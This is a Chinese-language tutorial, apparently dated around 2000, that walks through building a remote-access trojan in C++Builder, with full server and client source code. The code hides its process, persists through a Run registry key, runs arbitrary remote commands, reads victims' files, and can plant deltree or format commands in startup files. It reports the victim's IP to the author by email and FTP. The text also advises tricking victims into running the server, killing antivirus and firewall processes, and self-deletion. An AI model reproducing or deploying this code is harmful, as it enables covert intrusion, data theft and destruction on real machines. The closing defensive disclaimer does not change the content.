陌生，自從98年「死牛崇拜」黑客小組公佈Back Orifice以來，木馬猶如平地上的驚雷，使在Dos——Windows時代中長大的中國網民從五彩繽紛的網絡之夢中驚醒，終於認識到的網絡也有它邪惡的一面，一時間人心惶惶。

我那時在《電腦報》上看到一篇文章，大意是一個菜鳥被人用BO控制了，嚇得整天吃不下飯、睡不著覺、上不了網，到處求救！要知道，木馬（Trojan）的歷史是很悠久的：早在AT&T Unix和BSD Unix十分盛行的年代，木馬是由一些玩程式（主要是C）水平很高的年輕人（主要是老美）用C或Shell語言編寫的，基本是用來竊取登陸主機的口令，以取得更高的權限。那時木馬的主要方法是誘騙——先修改你的.profile文件，植入木馬；當你登陸時將你敲入的口令字符存入一個文件，用Email的形式發到攻擊者的郵箱裡。國內的年輕人大都是在盜版Dos的熏陶下長大的，對網絡可以說很陌生。直到Win9x橫空出世，尤其是WinNt的普及，大大推動了網絡事業的發展的時候，BO這個用三年後的眼光看起來有點簡單甚至可以說是簡陋的木馬（甚至在Win9x的「關閉程序」對話框可以看到進程）給了當時中國人極大的震撼，它在中國的網絡安全方面可以說是一個劃時代的軟件。自己編寫木馬，聽起來很Cool是不是？！木馬一定是由兩部分組成——服務器程序（Server）和客戶端程序（Client），服務器負責打開攻擊的道路，就像一個內奸特務；客戶端負責攻擊目標，兩者需要一定的網絡協議來進行通訊（一般是TCP/IP協議）。爲了讓大家更好的瞭解木馬攻擊技術，破除木馬的神秘感，我就來粗略講一講編寫木馬的技術並順便編寫一個例子木馬，使大家能更好地防範和查殺各種已知和未知的木馬。

首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi，這裡我們選用C++Builder（以下簡稱BCB）；VC雖然好，但GUI設計太複雜，爲了更好地突出我的例子，集中注意力在木馬的基本原理上，我們選用可視化的BCB；Delphi也不錯，但缺陷是不能繼承已有的資源（如「死牛崇拜」黑客小組公佈的BO2000源代碼，是VC編寫的，網上俯拾皆是）；VB嘛，談都不談——難道你還給受害者傳一個1兆多的動態鏈接庫——Msvbvm60.dll嗎？

啓動C++Builder 5.0企業版，新建一個工程，添加三個VCL控件：一個是Internet頁中的Server Socket，另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個服務器程序，可以對外服務（對攻擊者敞開大門）。Socket最初是在Unix上出現的，後來微軟將它引入了Windows中（包括Win98和WinNt）；後兩個控件的作用是用來使程序具有FTP（File Transfer Protocol文件傳輸協議）和SMTP（Simple Mail Transfer Protocol簡單郵件傳輸協議）功能，大家一看都知道是使軟件具有上傳下載功能和發郵件功能的控件。

Form窗體是可視的，這當然是不可思議的。不光佔去了大量的空間（光一個Form就有300K之大），而且使軟件可見，根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含Form，就像Delphi用過程實現的小程序一般只有17K左右那樣。

我們首先應該讓我們的程序能夠隱身。雙擊Form，首先在FormCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘，其實說穿了不過是一種被稱之爲Service的後台進程,它可以運行在較高的優先級下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此，只要將我們的程序在進程數據庫中用RegisterServiceProcess（）函數註冊成服務進程（Service

Process）就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有，那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。

首先判斷目標機的操作系統是Win9x還是WinNt：

```
{
DWORD dwVersion = GetVersion ( ) ;
// 得到操作系統的版本號
if （dwVersion >= 0x80000000）
// 操作系統是Win9x，不是WinNt
  {
     typedef DWORD （CALLBACK* LPREGISTERSERVICEPROCESS）（DWORD,DWORD）;
        //定義RegisterServiceProcess ( ) 函數的原型
        HINSTANCE hDLL;
      LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
      hDLL = LoadLibrary（"KERNEL32"）;
      //加載RegisterServiceProcess ( ) 函數所在的動態鏈接庫KERNEL32.DLL
     lpRegisterServiceProcess =
（LPREGISTERSERVICEPROCESS）GetProcAddress（hDLL,"RegisterServiceProcess"）
;
        //得到RegisterServiceProcess ( ) 函數的地址
        lpRegisterServiceProcess（GetCurrentProcessId ( ) ,1）;
      //執行RegisterServiceProcess ( ) 函數,隱藏本進程
      FreeLibrary（hDLL）;
      //卸載動態鏈接庫
  }
}
```

這樣就終於可以隱身了（害我敲了這麼多代碼！）。爲什麼要判斷操作系統呢？因爲WinNt中的進程管理器可以對當前進程一覽無餘，因此沒必要在WinNt下也使用以上代碼（不過你可以使用其他的方法，這個留到後面再講）。

接著再將自己拷貝一份到%System%目錄下，例如：C:\Windows\System，並修改註冊表，以便啓動時自動加載：

```
{
char TempPath[MAX_PATH];
//定義一個變量
GetSystemDirectory（TempPath ,MAX_PATH）;
//TempPath是system目錄緩衝區的地址,MAX_PATH是緩衝區的大小，得到目標機的Syst
em目錄路徑
SystemPath=AnsiString（TempPath）;
//格式化TempPath字符串，使之成爲能供編譯器使用的樣式
CopyFile（ParamStr（0）.c_str ( ) ,
AnsiString（SystemPath+"\\Tapi32.exe"）.c_str ( )  ,FALSE）;
//將自己拷貝到%System%目錄下，並改名爲Tapi32.exe，僞裝起來
```

```
Registry=new TRegistry;
//定義一個TRegistry對象，準備修改註冊表，這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//設置主鍵爲HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run",TRUE);
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run，如果不存在，就
創建之
try
  {
    //如果以下語句發生異常，跳至catch，以避免程序崩潰
    if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
       Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");

//查找是否有「crossbow」字樣的鍵值，並且是否爲拷貝的目錄%System%+Tapi32.exe
      //如果不是，就寫入以上鍵值和內容
  }
catch(...)
  {
  //如果有錯誤，什麼也不做
  }
}
```

好，FormCreate過程完成了，這樣每次啓動都可以自動加載Tapi32.exe，並且在「關閉程序」對話框中看不見本進程了，木馬的雛形初現。

接著選中ServerSocket控件，在左邊的Object Inspector中將Active改爲true，這樣程序一啓動就打開特定端口，處於服務器工作狀態。再將Port填入4444，這是木馬的端口號，當然你也可以用別的。但是你要注意不要用1024以下的低端端口，因爲這樣不但可能會與基本網絡協議使用的端口相衝突，而且很容易被發覺，因此盡量使用1024以上的高端端口（不過也有這樣一種技術，它故意使用特定端口，因爲如果引起衝突，Windows也不會報錯 ^_^）。你可以看一看TNMFTP控件使用的端口，是21號端口，這是FTP協議的專用控制端口（FTP Control Port）；同理TNMSMTP的25號端口也是SMTP協議的專用端口。

再選中ServerSocket控件，點擊Events頁，雙擊OnClientRead事件，敲入以下代碼：

```
{
  FILE *fp=NULL;
  char * content;
  int times_of_try;
  char TempFile[MAX_PATH];
  //定義了一堆待會兒要用到的變量
  sprintf(TempFile, "%s",
AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
```

```
  //在%System%下建立一個文本文件Win369.bat，作爲臨時文件使用
  AnsiString temp=Socket->ReceiveText ( ) ;
  //接收客戶端（攻擊者，也就是你自己）傳來的數據
}
```

好，大門敞開了！接著就是修改目標機的各種配置了！^_^
首先我們來修改Autoexec.bat和Config.sys吧：

```
{
if ( temp.SubString (0,9) =="edit conf")
  //如果接受到的字符串的前9個字符是「edit conf」
  {
      int number=temp.Length ( ) ;
      //得到字符串的長度
      int file_name=atoi ( ( temp.SubString (11,1) ) .c_str ( ) ) ;
      //將第11個字符轉換成integer型，存入file_name變量
      //爲什麼要取第11個字符，因爲第10個字符是空格字符
      content= ( temp.SubString (12,number-11) +'\n') .c_str ( ) ;
      //餘下的字符串將被作爲寫入的內容寫入目標文件
      FILE *fp=NULL;
      char filename[20];
      chmod ("c:\\autoexec.bat",S_IREAD|S_IWRITE) ;
      chmod ("c:\\config.sys",S_IREAD|S_IWRITE) ;
      //將兩個目標文件的屬性改爲可讀可寫
      if (file_name==1)
        sprintf (filename,"%s","c:\\autoexec.bat") ;
        //如果第11個字符是1,就把Autoexec.bat格式化
      else if (file_name==2)
        sprintf (filename,"%s","c:\\config.sys") ;
        //如果第11個字符是1,就把Config.sys格式化
      times_of_try=0;
     //定義計數器
      while (fp==NULL)
        {
          //如果指針是空
        fp=fopen (filename,"a+") ;
        //如果文件不存在，創建之；如果存在，準備在其後添加
        //如果出錯，文件指針爲空，這樣就會重複
        times_of_try=times_of_try+1;
        //計數器加1
        if (times_of_try>100)
        {
            //如果已經試了100次了，仍未成功
            Socket->SendText ("Fail By Open File") ;
            //就發回「Fail By Open File」的錯誤信息
            goto END;
```

```
            //跳至END處
          }
          }
        fwrite（content,sizeof（char）,strlen（content）,fp）;
        //寫入添加的語句，例如deltree/y C:或者format/q/autotest
C:，夠毒吧？！
        fclose（fp）;
        //寫完後關閉目標文件
        Socket->SendText（"Sucess"）;
        //然後發回「Success」的成功信息
    }
}
```

你現在可以通過網絡來察看目標機上的這兩個文件了，並且還可以向裡面隨意添加任何命令。呵呵，這只不過是牛刀小試罷了。
的啓動配置文件，這回我們就來查看目標機上的目錄樹和文件吧，這在客戶端上使用「dir」命令，跟著敲囉：

```
{
else if（temp.SubString（0，3）=="dir"）
{
    //如果前3個字符是「dir」
    int Read_Num;
    char * CR_LF="\n";
    int attrib;
    char *filename;
    DIR *dir;
    struct dirent *ent;
    int number=temp.Length（）;
    //得到字符串的長度
    AnsiString Dir_Name=temp.SubString（5，number-3）;
    //從字符串第六個字符開始，將後面的字符存入Dir_Name變量，這是目錄名
    if（Dir_Name==""）
      {
        //如果目錄名爲空
        Socket->SendText（"Fail By Open DIR's Name"）;
        //返回「Fail By Open DIR's Name」信息
        goto END;
        //跳到END
      }
    char * dirname;
    dirname=Dir_Name.c_str（）;
    if （（dir = opendir（dirname））  == NULL）
      {
        //如果打開目錄出錯
        Socket->SendText（"Fail by your DIR's name!"）;
```

```
    //返回「Fail By Your DIR's Name」信息
    goto END;
    //跳到END
  }
times_of_try=0;
while（fp==NULL）
  {
    //如果指針是NULL
    fp=fopen（TempFile，"w+"）;
    //就創建system\Win369.bat準備讀和寫；如果此文件已存在，則會被覆蓋
    times_of_try=times_of_try+1;
    //計數器加1
    if（times_of_try>100）
        {
        //如果已經試了100次了，仍未成功（真有耐心！）
        Socket->SendText（"Fail By Open File"）;
        //就發回「Fail By Open File」的錯誤信息
        goto END;
        //並跳到END處
        }
   }
 while （（ent = readdir（dir））  != NULL）
   {
     //如果訪問目標目錄成功
     if（*（AnsiString（dirname））.AnsiLastChar（）!='\\'）
     //如果最後一個字符不是「\」，證明不是根目錄
      filename=（AnsiString（dirname）+"\\"+ent->d_name）.c_str（）;
      //加上「\」字符後將指針指向目錄流
     else
      filename=（AnsiString（dirname）+ent->d_name）.c_str（）;
      //如果是根目錄，則不用加「\」
     attrib=_rtl_chmod（filename， 0）;
     //得到目標文件的訪問屬性
     if （attrib & FA_RDONLY）
     //「&」字符是比較前後兩個變量，如果相同返回1，否則返回0
      fwrite（" R"，sizeof（char），3，fp）;
      //將目標文件屬性設爲只讀
     else
      fwrite（" "，sizeof（char），3，fp）;
      //失敗則寫入空格
     if （attrib & FA_HIDDEN）
      fwrite（"H"，sizeof（char），1，fp）;
      //將目標文件屬性設爲隱藏
     else
      fwrite（" "，sizeof（char），1，fp）;
      //失敗則寫入空格
```

```
          if （attrib & FA_SYSTEM）
           fwrite（"S"，sizeof（char），1，fp）；
           //將目標文件屬性設爲系統
          else
           fwrite（" "，sizeof（char），1，fp）；
           //失敗則寫入空格
          if （attrib & FA_ARCH）
           fwrite（"A"，sizeof（char），1，fp）；
           //將目標文件屬性設爲普通
          else
           fwrite（" "，sizeof（char），1，fp）；
           //失敗則寫入空格
          if （attrib & FA_DIREC）
           fwrite（"

"，sizeof（char），9，fp）；
           //將目標文件屬性設爲目錄
          else
           fwrite（"         "，sizeof（char），9，fp）；
           //失敗則寫入空格
          fwrite（ent->d_name，sizeof（char），strlen（ent->d_name），fp）；
          //將目錄名寫入目標文件
          fwrite（CR_LF，1，1，fp）；
          //寫入換行
        }
        fclose（fp）；
        //關閉文件
        closedir（dir）；
        //關閉目錄
        FILE *fp1=NULL;
        times_of_try=0;
        while（fp1==NULL）
          {
           fp1=fopen（TempFile，"r"）；
           //打開Win369.bat準備讀
           times_of_try=times_of_try+1;
           //計數器加1
           if（times_of_try>100）
           {
              //如果已經試了100次了，仍未成功
              Socket->SendText（"Fail By Open File"）；
              //就發回「Fail By Open File」的錯誤信息
              goto END;
              //並跳到END處
           }
          }
```

```
        AnsiString Return_Text="";
        char temp_content[300];
        for(int i=0;i<300;i++) temp_content[i]='\0';
        //定義的一個空數組
        Read_Num=fread(temp_content,1,300,fp1);
        //從目標文件中讀入前300個字符
        while(Read_Num==300)
        {
          Return_Text=Return_Text+temp_content;
          //Return_Text變量加上剛才的300個字符
          for(int i=0;i<300;i++) temp_content[i]='\0';
          Read_Num=fread(temp_content,1,300,fp1);
          //重複
        };
        Return_Text=Return_Text+temp_content;
        //Return_Text變量加上剛才的300個字符
        fclose(fp1);
        //關閉目標文件
        Socket->SendText(Return_Text);
        //返回Return_Text變量的內容
    }
}
```

夠長吧？！察看目錄樹這麼費勁啊？！你後面可以用BCB中的各種列表框對Client.exe好好美化美化。接下來就是查看指定文件的內容了，Client將使用「type」命令，（手指累不累啊？）：

```
{
else if(temp.SubString(0,4)=="type")
{
    //如果前4個字符是「type」
    int Read_Num;
    int number=temp.Length();
    AnsiString File_Name=temp.SubString(6,number-4);
    //將目標文件流存入File_Name變量中
    times_of_try=0;
    while(fp==NULL)
      {
        fp=fopen(File_Name.c_str(),"r");
        //打開目標文件準備讀
        times_of_try=times_of_try+1;
        //計數器加1
        if(times_of_try>100)
        {
          //如果已試了100次了
            Socket->SendText("Fail By Open File");
            //返回「Fail By Open File」的錯誤信息
```

```
            goto END;
            //跳到END
        }
      }
    AnsiString Return_Text="";
    char temp_content[300];
    for（int i=0;i<300;i++） temp_content[i]='\0';
    //定義一個空數組
    Read_Num=fread（temp_content，1，300，fp）;
    //從目標文件中讀入前300個字符
    while（Read_Num==300）
      {
        Return_Text=Return_Text+temp_content;
        //Return_Text的內容加上剛才的字符
        for（int i=0;i<300;i++） temp_content[i]='\0';
        Read_Num=fread（temp_content，1，300，fp）;
        //重複
      };
    Return_Text=Return_Text+temp_content;
    //Return_Text的內容加上剛才的字符
    fclose（fp）;
    //關閉目標文件
    Socket->SendText（Return_Text）;
    //返回Return_Text的內容，即你查看文件的內容
}
}
```

咳咳！累死了！還是來點輕鬆的吧——操縱目標機的光驅（注意：mciSendString（）函數的聲明在mmsystem.h頭文件中）：

```
{
else if（temp=="open"）
{
    //如果收到的temp的內容是「open」
    mciSendString（"set cdaudio door open"， NULL， 0， NULL）;
    //就彈出光驅的托盤
}
else if（temp=="close"）
{
    //如果收到的temp的內容是「close」
    mciSendString（"Set cdaudio door closed wait"， NULL， 0， NULL）;
    //就收入光驅的托盤。當然你也可以搞個死循環，讓他的光驅好好活動活動！^_^
}
}
```

接著就是交換目標機的鼠標左右鍵，代碼如下：

```
{
else if（temp=="swap"）
{
    SwapMouseButton（1）;
    //交換鼠標左右鍵，簡單吧？
}
}
```

然後就是使目標機重新啓動。但這裡要區分WinNt和Win9x——NT非常注重系統每個進程的權利，一個普通的進程是不應具備有調用系統的權利的，因此我們要賦予本程序足夠的權限：

```
{
else if（temp=="reboot"）
{
    //如果收到的temp的內容是「temp」
    DWORD dwVersion = GetVersion（）;
    //得到操作系統的版本號
    if （dwVersion < 0x80000000）
    {
        //操作系統是WinNt，不是Win9x
      HANDLE hToken;
      TOKEN_PRIVILEGES tkp;
      //定義變量
      OpenProcessToken（GetCurrentProcess（），TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY， &hToken）;
      //OpenProcessToken（）這個函數的作用是打開一個進程的訪問令牌
      //GetCurrentProcess（）函數的作用是得到本進程的句柄
      LookupPrivilegeValue（NULL，
SE_SHUTDOWN_NAME，&tkp.Privileges[0].Luid）;
      //LookupPrivilegeValue（）的作用是修改進程的權限
      tkp.PrivilegeCount = 1;
        //賦給本進程特權
      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges（hToken， FALSE， &tkp，
0，（PTOKEN_PRIVILEGES）NULL， 0）;
      //AdjustTokenPrivileges（）的作用是通知Windows NT修改本進程的權利
      ExitWindowsEx（EWX_REBOOT | EWX_FORCE， 0）;
        //強行退出WinNt並重啓
    }
    else ExitWindowsEx（EWX_FORCE+EWX_REBOOT，0）;
      //強行退出Win9x並重啓
}
}
```

如果以上都不是，就讓它在Dos窗口中執行傳來的命令：

```
{
else
{
    //如果都不是
    char * CR_TF="\n";
    times_of_try=0;
    while（fp==NULL）
    {
      fp=fopen（TempFile，"w+"）;
      //創建Win369.bat，如果已存在就覆蓋
      times_of_try=times_of_try+1;
        //計數器加1
      if（times_of_try>100）
      {
        Socket->SendText（"Fail By Open File"）;
        //返回「Fail By Open File」的信息
        goto END;
        //跳到END
      }
    }
    fwrite（temp.c_str（），sizeof（char），strlen（temp.c_str（）），fp）;
    //寫入欲執行的命令
    fwrite（CR_TF，sizeof（char），strlen（CR_TF），fp）;
    //寫入換行符
    fclose（fp）;
    //關閉Win369.bat
    system（TempFile）;
    //執行Win369.bat
    Socket->SendText（"Success"）;
    //返回「Success」信息
}
}
```

你可以直接執行什麼Ping和Tracert之類的命令來進一步刺探目標機的網絡狀況（判斷是否是一個企業的局域網），然後可以進一步攻擊，比如Deltree和Format命令。

到此，服務器程序的功能已全部完成，但還差容錯部分未完成，這樣才能避免程序因意外而崩潰。
其代碼如下（照敲不誤 ^_^）：

```
{
END:;
  Socket-〉Close（）;
  //關閉服務
  ServerSocket1-〉Active =true;
```

```
  //再次打開服務
  if （NMSMTP1-〉Connected） NMSMTP1-〉Disconnect（）;
  //如果SMTP服務器已連接則斷開
  NMSMTP1-〉Host = "smtp.163.net";
  //選一個好用的SMTP服務器，如163、263、sina和btamail
  NMSMTP1-〉UserID = "";
  //你SMTP的ID
  try
  {
    NMSMTP1-〉Connect（）;
    //再次連接
  }
  catch（...）
  {
    goto NextTime;
    //跳到NextTime
  }
  NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";
  //受害者的Email地址
  NMSMTP1-〉PostMessage-〉FromName = "Casualty";
  //受害者的名字
  NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "crossbow@8848.net";
  //將信發到我的郵箱，這一步很關鍵
  NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString（"Server Running on:"）
+ NMSMTP1-〉LocalIP ;
  //信的內容提示你「服務器正在運行」，並且告訴你受害者的目前的IP地址，以便
連接
  NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";
  //信的主題
  NMSMTP1-〉SendMail（）;
  //發送！
  return;
  //返回

NextTime:
  NMFTP1-〉Host = "ftp.go.163.com";
  //你的FTP服務器的地址
  NMFTP1-〉UserID = "";
  //你的用戶ID
  NMFTP1-〉Port = 21;
  //FTP端口號，一般爲21
  NMFTP1-〉Password = "";
  //你的FTP的密碼
  if（NMFTP1-〉Connected） NMFTP1-〉Disconnect（）;
  //如果已連接就斷開
  try
```

```
    {
      NMFTP1->Connect();
      //再連接
    }
  catch(...)
    {
       return;
       //返回
    }
  AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
  //受害者的IP地址
  FILE * Upload;
  Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
  //創建一個新文件準備寫，如果已存在就覆蓋
  fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload
);
  //寫入以上的SendToSite的內容
  fclose(Upload);
  //寫完後關閉此文件
  NMFTP1->RemoveDir("public_html");
  //刪除public_html目錄
  NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
  //上傳！
}
```

啊，超長的OnClientRead事件終於寫完了。最後別忘了要在此服務器源碼文件中添加以下頭文件：

```
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <dos.h>
#include <sys\stat.h>
#include <winbase.h>
#include <stdio.h>
#include <process.h>
#include <io.h>
#include <mmsystem.h>
```

至此，服務器端（Server）程序已全部完工！（終於可以好好歇歇了！）別慌！以上代碼只是完成了整個木馬程序的一半。（「撲通」，有人暈倒了！）下面我們就將乘勝追擊——搞定客戶端程序（Client）！

客戶端程序其實是很簡單的。另新建一個Form，添加一個ClientSocket（和ServerSocket在相同的頁下），再添加四個Editbox，命名爲Edit1，Edit2，Edit3和Edit4，最後添加一個Button，Caption爲「發送」。Edit1是輸入命令用的，Edit2是準備輸

入目標機的IP地址用的，Edit3是輸入連接端口號用的，Edit4是用來輸入欲添加的語句或顯示命令執行的結果的。（頭是不是有點大了？！）

雙擊Button1，在Button1Click事件中添加如下代碼：

```
{
    if ( (Edit2->Text=="") || (Edit3->Text=="") ) return;
    //如果輸入IP地址框或輸入端口號框有一個爲空，就什麼也不作
    ClientSocket1->Address=Edit2->Text;
    //目標IP地址
    ClientSocket1->Port=atoi (Edit2->Text.c_str ( ) ) ;
    //目標端口號，本例中的44444
    ClientSocket1->Open ( ) ;
    //連接！
}
```

選中CilentSocket1控件，雙擊OnConnectt事件，在ClientSocket1Connect下添加如下代碼：

```
{
  if ( (Edit1->Text=="edit conf 1") || (Edit1->Text=="edit conf 2") )
  //如果是要編輯autoexec.bat或config.sys
    Socket->SendText (Edit1->Text+Edit4->Text) ;
    //發送命令和欲添加的語句
  else
    Socket->SendText (Edit1->Text) ;
    //否則只發送命令
}
```

雙擊OnRead事件，在ClientSocket1Read下添加如下代碼：

```
{
  AnsiString ReadIn = Socket->ReceiveText ( ) ;
  //讀入收到的返回信息
  Edit4->Text="";
  //清空編輯框
  FILE *fp;
  fp = fopen ("ReadIn.tmp","w") ;
  //建立一個臨時文件ReadIn.tmp
  fwrite (ReadIn.c_str ( ) ,1,10000,fp) ;
  //寫入信息
  fclose (fp) ;
  //關閉之
  Edit4->Lines->LoadFromFile ("ReadIn.tmp") ;
  //在編輯框中顯示返回的信息
}
```

爲了敲完命令後直接回車就可以發送，我們可以使Button1的代碼共享。雙擊Edit

1的OnKeyPress命令，輸入：

```
{
  if（Key==VK_RETURN）Button1Click（Sender）;
  //如果敲的是回車鍵，就和點擊Button1一樣的效果
}
```

最後再添加以下頭文件：

```
#include "stdlib.h"
#include "winbase.h"
#include "fcntl.h"
#include "stdio.h"
```

終於寫完了！！！（如果你對簡陋的界面不滿意，可以自己用BCB中豐富的控件好好完善完善嘛！）按下Ctrl+F9進行編譯鏈接吧！對於Server，你可以選一個足以迷惑人的圖標（我選的是一個目錄模樣的圖標）進行編譯，這樣不但受害者容易中招，而且便於隱藏自己。

接下來就把Server程序寄給受害者，誘騙他（她）執行，在你得到他（她）的IP後（這不用我教吧？），就啓動Client程序，敲入「edit conf
1」就編輯Autoexec.bat文件，敲入「edit conf
2」就編輯Config.sys文件，敲入「dir
xxx」（xxx是目錄名）就可以看到目錄和文件，敲「type
xxx」就可以察看任何文件，輸入「open」，彈出目標機的光驅托盤，「close」就收入托盤，輸入「swap」就可以交換受害者的鼠標左右鍵，輸入「reboot」就啓動目標機……不用我多說了吧？

以上只是一個簡單的例子，真正寫起木馬來要解決的技術問題比這多得多，這得需要紮實的編程功底和豐富的經驗。如下的問題就值得仔細考慮：

首先是程序的大小問題，本程序經編譯鏈接後得到的可執行文件竟有400多K，用Aspack1.07壓了一下也還有200多K。可以看出不必要的Form是應該去掉的；並且盡量由自己調用底層的API函數，而盡量少使用Borland打好包的VCL控件；要盡量使用彙編語言（BCB支持C++和彙編混編），不但速度會加快，而且大小可以小很多，畢竟木馬是越小越好。

還有啓動方式的選擇。出了Win.ini、System.ini之外，也還是那幾個註冊表鍵值，如：

```
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
```

都已被其他的木馬用爛了。現在又開始對exe、dll和txt文件的關聯程序動手腳了（如冰河和廣外女生）。這裡涉及到參數傳遞的問題。得到ParamStr（）函數傳來的參數，啓動自己後再啓動與之關聯的程序，並將參數傳遞給它，這樣就完成了一次「雙啓動」，而受害者絲毫感覺不到有任何異常。具體鍵值如：

與exe文件建立關聯：HKEY_CLASSES_ROOT\exefile\shell\open\command
與txt文件建立關聯：HKEY_CLASSES_ROOT\txtfile\shell\open\command
與dll文件建立關聯：HKEY_CLASSES_ROOT\dllfile\shell\open\command

等，當然還可以自己擴充。目前還有一種新方法：在

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
\Windows

下添加如下鍵值
"AppInit_DLLs"="Server.dll"，這就把Server.dll註冊爲系統啓動時必須加載的模塊（你應該把木馬編譯成DLL）。下次開機時，木馬以動態鏈接庫形式被加載，存在於系統進程中。因爲沒有它自己的PID（Process ID
進程識別號），所以在NT的任務管理器中也看不見（不過在「系統信息」——「軟件環境」——「已加載的32位模塊」中還是可以詳細看到當前內存中加載的每一個模塊的），這樣做的目的是可以使自己的程序更加隱蔽，提高木馬的生存能力。

木馬的功能還可以大大擴充。你可以充分發揮你的想像力——比如上傳、下載、新建、改名、移動文件，截圖存爲jpg文件傳回，錄音監聽成Wav文件，錄像成AVI文件，彈光驅，讀軟驅，關機，重啓，不停地掛起，胡亂切換分辨率（燒掉你的顯示器），發對話框，不停地打開資源管理器直到死機，殺掉Kernel32.dll進程使機器暴死，交換鼠標左右鍵，固定鼠標，限制鼠標活動範圍，鼠標不聽指揮到處亂竄，記錄擊鍵記錄（記錄上網口令，這需要深入瞭解鉤子（Hook）技術，如鍵盤鉤子和鼠標鉤子），竊取重要的密碼文件如pwl和sam文件，格式化磁盤，亂寫磁盤扇區（像病毒大爆發），破壞零磁道，亂寫BIOS（像CIH），胡亂設置CMOS，加密MBR、HDPT和FAT（像江民炸彈）……真是琳琅滿目、心狠手辣呀！而且實現起來並不是很複雜，只不過後面幾項需要比較紮實的彙編功底而已（有幾項要用到Vxd技術）。唉！路漫漫其修遠兮，吾將上下而求索……

如果你想更安全地執行你的入侵活動，就應該像廣外女生一樣可以殺掉防火牆和殺毒軟件的進程。防火牆和殺毒軟件監視的是特徵碼，如果你是新木馬，它就不吱一聲；但是如果你打開不尋常的端口，它就會跳出來報警。因此最好的辦法是啓動後立即分析當前進程，查找有沒有常見防火牆和殺毒軟件的進程，如果有就殺無赦。比如常見的如：Lockdown，天網防火牆，網絡衛兵，kv3000，瑞星，金山毒霸，Pc-Cillin，Panda，Mcafee，Norton和CheckPoint。殺掉後，再在特定的內存地址中作一個標記，使它們誤以爲自己已啓動，因此不會再次啓動自己了。

針對來自反彙編工具的威脅。如果有人試圖將你的木馬程序反彙編，他成功後，你的一切秘密就暴露在他的面前了，因此，我們要想辦法保護自己的作品。首先想到的是條件跳轉，條件跳轉對於反向工程來說並不有趣。沒有循環，只是跳轉，作爲使

偷竊者令人頭痛的路障。這樣，就沒有簡單的反向操作可以執行了。陷阱，另一個我不太肯定，但聽說有程序使用的方法：用CRC校驗你的EXE文件，如果它被改變了，不要顯示典型錯誤信息，而給予偷竊者致命的一擊。

最後如果你需要它完成任務後可以自己刪除自己，我提示你：退出前建立一個批處理文件，加入循環刪除本exe文件和本批處理文件自己的命令後保存，執行它，再放心地退出。你可以試一下，所有文件都消失了吧？！這叫「踏雪無痕」。

入侵安裝了防火牆的機器最好使用自己編寫的木馬，這樣不光防火牆不會報警，而且你自己心裡也坦然一些——畢竟是自己的作品嗎！如果你是系統管理員，那就請你不要偷懶，不僅要經常掃瞄1024以下的端口，而且包括1024以上的高端端口也要仔細掃瞄，65535個端口一個也不能漏。因爲許多木馬打開的就是高端端口（如本例中的4444）。

寫在最後：上面例子的用意並不是教你去如何攻擊他人，目的只是讓你瞭解木馬的工作原理和簡單的編寫步驟，以便更好地防範和殺除木馬，維護我們自己應有的網絡安全。因此，請列位看官好自爲之，不要亂下殺手啊！